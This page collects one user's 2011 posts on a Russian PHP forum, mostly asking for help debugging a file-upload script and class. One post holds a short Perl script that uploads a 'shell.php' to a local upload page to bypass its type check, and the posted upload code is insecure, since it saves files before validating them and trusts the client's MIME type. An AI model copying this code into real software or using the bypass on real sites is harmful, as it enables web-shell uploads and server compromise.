PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (19): В начало « ... 8 9 10 11 [12] 13 14 15 16 ... » В конец

> Найдено сообщений: 283
foozzi Отправлено: 15 Ноября, 2011 - 06:13:12 • Тема: не работает класс • Форум: Объектно-ориентированное программирование

Ответов: 3
Просмотров: 2363
caballero все равно... здедал вот так
PHP:
скопировать код в буфер обмена
  1. <?PHP
  2.  
  3.          ini_set('display_errors',1);
  4.     error_reporting(E_ALL);
  5.    
  6.   class file_upload
  7.   {
  8.     public $file_info = array();  //  Массив с информацией о исходном файле - $_FILES['file_name']
  9.     public $file_server_patch = "/"; //Путь по которому на сервере хранятся закачанные файлы # по умолчанию кидаем в корень
  10.     public $file_new_name = ""; //Новое имя файла (то под каки он будет лежать на сервере # при пустом значении то имя с которым файл был передан
  11.     public $file_max_size = 0; // Максимально допустимый размер закачиваемого на сервер файла # При пустом значении размер передаваемого файла
  12.     public $file_extended = array(); // Массив с допустимыми для закачиваемого файла расширениями # пустой массив берем расширение исходного файла
  13.     public $rezult_array = array(); //  Массив возвращаемых значений
  14.     public $file_size = ""; // Размер файла
  15.     public $s = 0; // Номер файла от начала
  16.     /*public $d = @opendir($file_server_patch);*/ // Открыть директорию загрузки
  17.     public $upload_link = ""; // Генерируемая ссылка
  18.     public function __construct()
  19.     {
  20.     }
  21.     public function __destruct()
  22.     {
  23.     }
  24.          
  25.     public function file_upload_data()
  26.     {
  27.         $this->file_size = $file_size;
  28.         $this->file_info = $file_info;
  29.         $this->file_extended = $file_extended;
  30.         $this->file_server_patch = $file_server_patch;
  31.         $this->s = $s;
  32.         if($this->file_size < $this->file_info['size'])
  33.         {
  34.                 if($this->file_extended != $this->file_info['type'])
  35.                 {
  36.                         $d=opendir($this->file_server_patch);
  37.             $this->s;
  38.             while($e=readdir($d))
  39.             {
  40.                 if(is_file($this->file_server_patch."/".$e))
  41.                 $this->s++;
  42.             }
  43.          }
  44.          else
  45.          {
  46.                 echo"Не разрешенный тип файла!<br>";
  47.                 echo"<a href="index.php?microtime();">Загрузить еще</a>";
  48.          }             
  49.        }
  50.        else
  51.        {
  52.         echo"Размер файла превышает лимит!<br>";
  53.         echo"<a href="index.php?microtime();">Загрузить еще</a>";
  54.        }       
  55.        
  56.         private function file_upload()
  57.         {
  58.  
  59.                 $this->file_new_name = $file_new_name;
  60.                 $this->upload_link = $upload_link;
  61.                 if(move_uploaded_file($this->file_info['tmp_name'], $this->file_server_patch.$this->file_new_name))
  62.                 {
  63.                         include"../style/echo.tpl"
  64.                    echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";
  65.                 }
  66.                 else
  67.                 {
  68.                         echo"Не удалось загрузить файл";
  69.                 }
  70.         }      
  71.        }       
  72.      }
  73.                
  74.  
  75. ?>
  76.                
  77.                
  78.  
  79.                
  80.                
foozzi Отправлено: 15 Ноября, 2011 - 00:41:33 • Тема: не работает класс • Форум: Объектно-ориентированное программирование

Ответов: 3
Просмотров: 2363
форма
PHP:
скопировать код в буфер обмена
  1. <form enctype="multipart/form-data" action="upload.class.php" method="post">
  2.  <input type="file" name="filename" size="45">
  3.  <input type="submit" value=" Грузить! " name="upload">
  4.  </form>
  5.  
  6.  <?PHP
  7.  
  8.    if(isset($_FILES['file'])){
  9.  
  10.      include"upload.class.php";
  11.      $upload_class= new file_upload();
  12.  
  13.      $upload_class->file_server_patch="uploads";
  14.      $upload_class->file_extended = array(".jpg", ".gif", ".png"); // Типы файлов передающиеся ядру на обработку
  15.      $upload_class->file_info = $_FILES['file']; // Инфо о файле
  16.      $upload_class->file_new_name = dirname (__FILE__).$upload_class->file_server_patch; // Имя файла не изменное
  17.      $upload_class->file_size=70000000;
  18.  
  19.      //  Вызываем метод загрузки файла
  20.  
  21.      $upload_class->file_upload_data();
  22.  
  23.      unset($upload_class);
  24.  
  25.  }


класс

PHP:
скопировать код в буфер обмена
  1. <?PHP
  2.  
  3.        ini_set('display_errors',1);
  4.      error_reporting(E_ALL);
  5.    
  6.    class file_upload
  7.  
  8.    {
  9.  
  10.      public $file_info = array();  //  Массив с информацией о исходном файле - $_FILES['file_name']
  11.  
  12.      public $file_server_patch = ""; //Путь по которому на сервере хранятся закачанные файлы # по умолчанию кидаем в корень
  13.  
  14.      public $file_new_name = ""; //Новое имя файла (то под каки он будет лежать на сервере # при пустом значении то имя с которым файл был передан
  15.  
  16.      public $file_max_size = 0; // Максимально допустимый размер закачиваемого на сервер файла # При пустом значении размер передаваемого файла
  17.  
  18.      public $file_extended = array(); // Массив с допустимыми для закачиваемого файла расширениями # пустой массив берем расширение исходного файла
  19.  
  20.      public $rezult_array = array(); //  Массив возвращаемых значений
  21.      public $file_size = ""; // Размер файла
  22.      public $s = 0; // Номер файла от начала
  23.      public $d = @opendir($file_server_patch); // Открыть директорию загрузки
  24.      public $upload_link = ""; // Генерируемая ссылка
  25.          
  26.      public function file_upload_data()
  27.      {
  28.          $this->file_size = $file_size;
  29.          $this->file_info = $file_info;
  30.          $this->file_extended = $file_extended;
  31.          $this->file_server_patch = $file_server_patch;
  32.          $this->s = $s;
  33.          if($this->file_size < $this->file_info['size'])
  34.          {
  35.              if($this->file_extended != $this->file_info['type'])
  36.              {
  37.                  $d=@opendir($this->file_server_patch);
  38.              $this->s;
  39.              while($e=readdir($d))
  40.              {
  41.                  if(is_file($this->file_server_patch."/".$e))
  42.                  $this->s++;
  43.              }
  44.          }
  45.          else
  46.          {
  47.              echo"Не разрешенный тип файла!<br>";
  48.              echo"<a href="index.php?microtime();">Загрузить еще</a>";
  49.          }          
  50.        }
  51.        else
  52.        {
  53.            echo"Размер файла превышает лимит!<br>";
  54.            echo"<a href="index.php?microtime();">Загрузить еще</a>";
  55.        }  
  56.          
  57.            private function file_upload()
  58.            {
  59.  
  60.                $this->file_new_name = $file_new_name;
  61.                $this->upload_link = $upload_link;
  62.                if(move_uploaded_file($this->file_info['tmp_name'], $this->file_server_patch.$this->file_new_name))
  63.                {
  64.                    include"../style/echo.tpl"
  65.                    echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";
  66.                }
  67.                else
  68.                {
  69.                    echo"Не удалось загрузить файл";
  70.                }
  71.            }            
  72.  }
  73.  ?>


белая страница при обработке... в чет я тупанул?
foozzi Отправлено: 13 Ноября, 2011 - 14:05:45 • Тема: ООП с самого начала • Форум: Обсуждение статей

Ответов: 47
Просмотров: 13090
огромное спасибище за столь детальное разжеванное объяснение, хотелось бы увидеть статейку по регулярным выражениям...
foozzi Отправлено: 13 Ноября, 2011 - 10:50:27 • Тема: определение синтаксиса текста • Форум: Вопросы новичков

Ответов: 0
Просмотров: 55
собственно нужен сабж, живой пример pastebin, как я понял это делается через xml и парсер для xml, есть ли маны или куда вообще копать?
foozzi Отправлено: 13 Ноября, 2011 - 03:51:06 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
https://github[dot]com/foozzi/GNU-Uploader
готовый код (код га*но)
все было очень просто, переменную которая отвечает за загрузку файла я определил в самом начале кода, то есть она игнорировала проверки, стоило мне ее поставить в функцию првоерки файла как тут же все заработало как часы Радость
спасибо всем за помощь
foozzi Отправлено: 12 Ноября, 2011 - 18:40:53 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
snikers987 как я понимаю .php это просто текст, приставка и тд. и майм тип файла это уже определение какой файл есть сам по себе, мож я чет не понял
foozzi Отправлено: 12 Ноября, 2011 - 16:27:56 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
snikers987 подменять тип майма даже не придется, просто подменить тип разрешения
foozzi Отправлено: 12 Ноября, 2011 - 15:09:01 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
snikers987 ну просто попросил показать скрипт, ну я нашол первый попавшийся, зачем грубить
foozzi Отправлено: 12 Ноября, 2011 - 13:07:56 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
snikers987 пишет:
Метод обхода проверки в студию.

пожалуйста
CODE (htmlphp):
скопировать код в буфер обмена
  1. #!/usr/bin/perl
  2.  
  3. use LWP; # we are using libwwwperl
  4.  
  5. use HTTP::Request::Common;
  6.  
  7. $ua = $ua = LWP::UserAgent->new;
  8.  
  9. $res = $ua->request(POST 'http://localhost/upload1.php',
  10.  
  11.        Content_Type => 'form-data',
  12.  
  13.        Content => [userfile => ["shell.php", "shell.php"],],);
  14.  
  15.  
  16.  
  17. print $res->as_string();
  18.  


исходник на perl использующий upload.php* для загрузки шелла
(Добавление)
вот... все работает вроде

PHP:
скопировать код в буфер обмена
  1. <?PHP
  2. error_reporting(E_ALL | E_STRICT);
  3. ini_set("display_errors", True);
  4.          $upload_dir = 'uploads/';
  5.          $upload_path = dirname (__FILE__).$upload_dir;
  6.          $upload_filename = basename($_FILES["filename"]["name"]);
  7.          $upload_link = "http://".$_SERVER["HTTP_HOST"].dirname ($_SERVER ["PHP_SELF"]).'/'.$upload_dir.$upload_filename;
  8.          $m=move_uploaded_file($_FILES['filename']['tmp_name'], $upload_dir.$upload_filename);
  9.    
  10. function check_file() {
  11. global $ext;
  12.        
  13.         if ($_FILES)
  14.  {
  15.                 switch ($_FILES['filename']['type']) // Проверка типа файла
  16.       {
  17.                         case 'image/jpeg':            $ext='jpg'; break;
  18.                         case 'image/pjpeg':           $ext='jpg'; break;
  19.                         case 'image/png':                $ext='png'; break;
  20.                         case 'application/pdf':    $ext='pdf'; break;
  21.                         case 'application/x-bzip2':$ext='bz2'; break;
  22.                         case 'application/x-gzip':      $ext='gz';  break;
  23.                         case 'application/x-tar':       $ext='tar'; break;
  24.                         case 'application/x-troff-man':$ext='man'; break;
  25.                         case 'application/zip':    $ext='zip'; break;
  26.          case 'audio/mpeg':           $ext='mp3'; break;
  27.                
  28.                         default:                        $ext='';
  29.                 }      
  30.  }
  31. }
  32. function upload_file($max_size=645728)
  33. {
  34.        
  35.         global $upload_path, $upload_filename, $upload_dir, $upload_link, $m, $ext;
  36.  
  37.  
  38.                
  39. if ($ext == true && $_FILES['filename']['size'] <= $max_size)
  40.    {
  41.                        
  42. if ($m)
  43.     {
  44.           echo "Файл загружен.";
  45.           echo "Линки:<br>";
  46.      echo "<input type='text' size=80 onclick='this.select()' value='".$upload_link."'><br><br>";
  47.      echo "HTML Линк:<br>";
  48.      echo "<input type='text' size=80 onclick='this.select()' value=\"<a href='".$upload_link."'>".$upload_link."</a>\"><br><br>";
  49.      echo "BB-Code Линк:<br>";
  50.      echo "<input type='text' size=80 onclick='this.select()' value='[url]".$upload_link."[/url]'><br><br>";
  51.      echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";
  52.     }
  53.         else
  54.           {
  55.             /*echo "Ошибка. Возможно не хватает прав доступа.<br>";
  56.             echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";*/
  57.             exit("Ошибка. Возможно не хватает прав доступа.");
  58.           }
  59.     }
  60.   else
  61.       {
  62.                                 /*echo "Не разрешенный тип файла или слишком большой размер файла.<br>";
  63.                                 echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";*/
  64.                                 exit("Не разрешенный тип файла или слишком большой размер файла.");
  65.            }
  66. /*print_r($mes);*/
  67.  }
  68. /*}*/
  69. check_file();
  70. upload_file();
  71.  
  72. ?>  


фак, и этот то же заливает запрещенные файлы =(
foozzi Отправлено: 12 Ноября, 2011 - 12:38:05 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
snikers987 да там немного не то что я хотел, а если мой цикл проверки сделать функцией?
foozzi Отправлено: 12 Ноября, 2011 - 02:16:59 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
еще одна трабла с обработчиком, тестил только что его и обнаружил что запрещенные файлы (.txt например) заливаются НО с названием после первой точки, то есть было например lalal.lala.txt залилось lalal.txt
подскажите как фиксить? вот финальный код:
PHP:
скопировать код в буфер обмена
  1. <?PHP
  2. error_reporting(E_ALL | E_STRICT);
  3. ini_set("display_errors", True);
  4.          $upload_dir = 'uploads/';
  5.          $upload_path = dirname (__FILE__).$upload_dir;
  6.          $upload_filename = basename($_FILES["filename"]["name"]);
  7.          $upload_link = "http://".$_SERVER["HTTP_HOST"].dirname ($_SERVER ["PHP_SELF"]).'/'.$upload_dir.$upload_filename;
  8.          $m=move_uploaded_file($_FILES['filename']['tmp_name'], $upload_dir.$upload_filename);
  9.    
  10. function upload_file($max_size=645728)
  11. {
  12.        
  13.         global $upload_path, $upload_filename, $upload_dir, $upload_link, $m;
  14.  
  15. if ($_FILES)
  16.  {
  17.                 switch ($_FILES['filename']['type']) // Проверка типа файла
  18.       {
  19.                         case 'image/jpeg':            $ext='jpg'; break;
  20.                         case 'image/pjpeg':           $ext='jpg'; break;
  21.                         case 'image/png':                $ext='png'; break;
  22.                         case 'application/pdf':    $ext='pdf'; break;
  23.                         case 'application/x-bzip2':$ext='bz2'; break;
  24.                         case 'application/x-gzip':      $ext='gz';  break;
  25.                         case 'application/x-tar':       $ext='tar'; break;
  26.                         case 'application/x-troff-man':$ext='man'; break;
  27.                         case 'application/zip':    $ext='zip'; break;
  28.          case 'audio/mpeg':           $ext='mp3'; break;
  29.                
  30.                         default:                        $ext='';
  31.                 }      
  32.                
  33. if ($ext == true && $_FILES['filename']['size'] <= $max_size)
  34.    {
  35.                        
  36. if ($m)
  37.     {
  38.           echo "Файл загружен.";
  39.           echo "Линки:<br>";
  40.      echo "<input type='text' size=80 onclick='this.select()' value='".$upload_link."'><br><br>";
  41.      echo "HTML Линк:<br>";
  42.      echo "<input type='text' size=80 onclick='this.select()' value=\"<a href='".$upload_link."'>".$upload_link."</a>\"><br><br>";
  43.      echo "BB-Code Линк:<br>";
  44.      echo "<input type='text' size=80 onclick='this.select()' value='[url]".$upload_link."[/url]'><br><br>";
  45.      echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";
  46.     }
  47.         else
  48.           {
  49.             /*echo "Ошибка. Возможно не хватает прав доступа.<br>";
  50.             echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";*/
  51.             exit("Ошибка. Возможно не хватает прав доступа.");
  52.           }
  53.     }
  54.   else
  55.       {
  56.                                 /*echo "Не разрешенный тип файла или слишком большой размер файла.<br>";
  57.                                 echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";*/
  58.                                 exit("Не разрешенный тип файла или слишком большой размер файла.");
  59.            }
  60. /*print_r($mes);*/
  61.  }
  62. }
  63.  
  64. upload_file();
  65.  
  66. ?>  
foozzi Отправлено: 11 Ноября, 2011 - 20:58:50 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
snikers987 пишет:
С чего вдруг этот скрипт в одну функцию стал библиотекой или я чего не понимаю?


сорри я немного протупил =)
(по началу там было несколько функций ыы)
foozzi Отправлено: 11 Ноября, 2011 - 20:43:41 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
OrmaJever пишет:
foozzi ответ был дан во втором посте, вы спросили где parce error вам ответили, а то что пустая страница дак это уже нужно http://phpfaq[dot]ru/debug (который так же был во втором посте). Пока не научитесь читать полезные статьи, которые дают, дела не будет.


да нет, дело было совсем в другом =) ток что осенило и переписал немного код, вот рабочая библиотека:

PHP:
скопировать код в буфер обмена
  1. <?PHP
  2. error_reporting(E_ALL | E_STRICT);
  3. ini_set("display_errors", True);
  4.          $upload_dir = '/uploads/';
  5.          $upload_path = dirname (__FILE__).$upload_dir;
  6.          $upload_filename = basename($_FILES["filename"]["name"]);
  7.          $upload_link = "http://".$_SERVER["HTTP_HOST"].dirname ($_SERVER ["PHP_SELF"]).$upload_dir.$upload_filename;
  8.          $m=move_uploaded_file($_FILES['filename']['tmp_name'], /*TE_DIR.'/upload/'*/$upload_path.$upload_filename);
  9.    
  10. function upload_file($max_size=3145728)
  11. {
  12.        
  13.         global $upload_path, $upload_filename, $upload_dir, $upload_link, $m;
  14.  
  15. if ($_FILES)
  16.  {
  17.                 switch ($_FILES['filename']['type']) // Проверка типа файла
  18.       {
  19.                         case 'image/jpeg':            $ext='jpg'; break;
  20.                         case 'image/pjpeg':           $ext='jpg'; break;
  21.                         case 'image/png':                $ext='png'; break;
  22.                         case 'application/pdf':    $ext='pdf'; break;
  23.                         case 'application/x-bzip2':$ext='bz2'; break;
  24.                         case 'application/x-gzip':      $ext='gz';  break;
  25.                         case 'application/x-tar':       $ext='tar gz'; break;
  26.                         case 'application/x-troff-man':$ext='man'; break;
  27.                         case 'application/zip':    $ext='zip'; break;
  28.          case 'audio/mpeg':           $ext='mp3'; break;
  29.                
  30.                         default:                        $ext='';
  31.                 }      
  32.                
  33. if ($ext == true && $_FILES['filename']['size'] <= $max_size)
  34.    {
  35.                        
  36. if ($m)
  37.     {
  38.           echo "Файл загружен.";
  39.           echo "Линки:<br>";
  40.      echo "<input type='text' size=80 onclick='this.select()' value='".$upload_link."'><br><br>";
  41.      echo "HTML Линк:<br>";
  42.      echo "<input type='text' size=80 onclick='this.select()' value=\"<a href='".$upload_link."'>".$upload_link."</a>\"><br><br>";
  43.      echo "BB-Code Линк:<br>";
  44.      echo "<input type='text' size=80 onclick='this.select()' value='[url]".$upload_link."[/url]'><br><br>";
  45.      echo "<a href='../index.php?".md5(microtime())."'>Загрузить другой файл</a>";
  46.     }
  47.         else
  48.           {
  49.             echo "Ошибка. Возможно не хватает прав доступа.";
  50.           }
  51.     }
  52.   else
  53.       {
  54.                                 echo "Не разрешенный тип файла или слишком большой размер файла";
  55.            }
  56. /*print_r($mes);*/
  57.  }
  58. }
  59.  
  60. upload_file();
  61.  
  62. ?>  
  63.  
foozzi Отправлено: 11 Ноября, 2011 - 18:13:56 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
snikers987 пишет:
А где функция вызывается то?


эта функция вмещает в себя весь процесс, зачем вызывать, это же обработчик
foozzi Отправлено: 11 Ноября, 2011 - 17:51:06 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков

Ответов: 34
Просмотров: 1016
Bio man я использую linux debian и не использую поприетарное ПО, у меня есть замечательный редактор BlueFish который так же само видит закрытые и не закрытые функции, я не могу поверить что нет решения к проблемме, сори я там кинул не тот код там где небыло закрытия if у меня то он стоит.... все перепробовал =(

Страниц (19): В начало « ... 8 9 10 11 [12] 13 14 15 16 ... » В конец
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB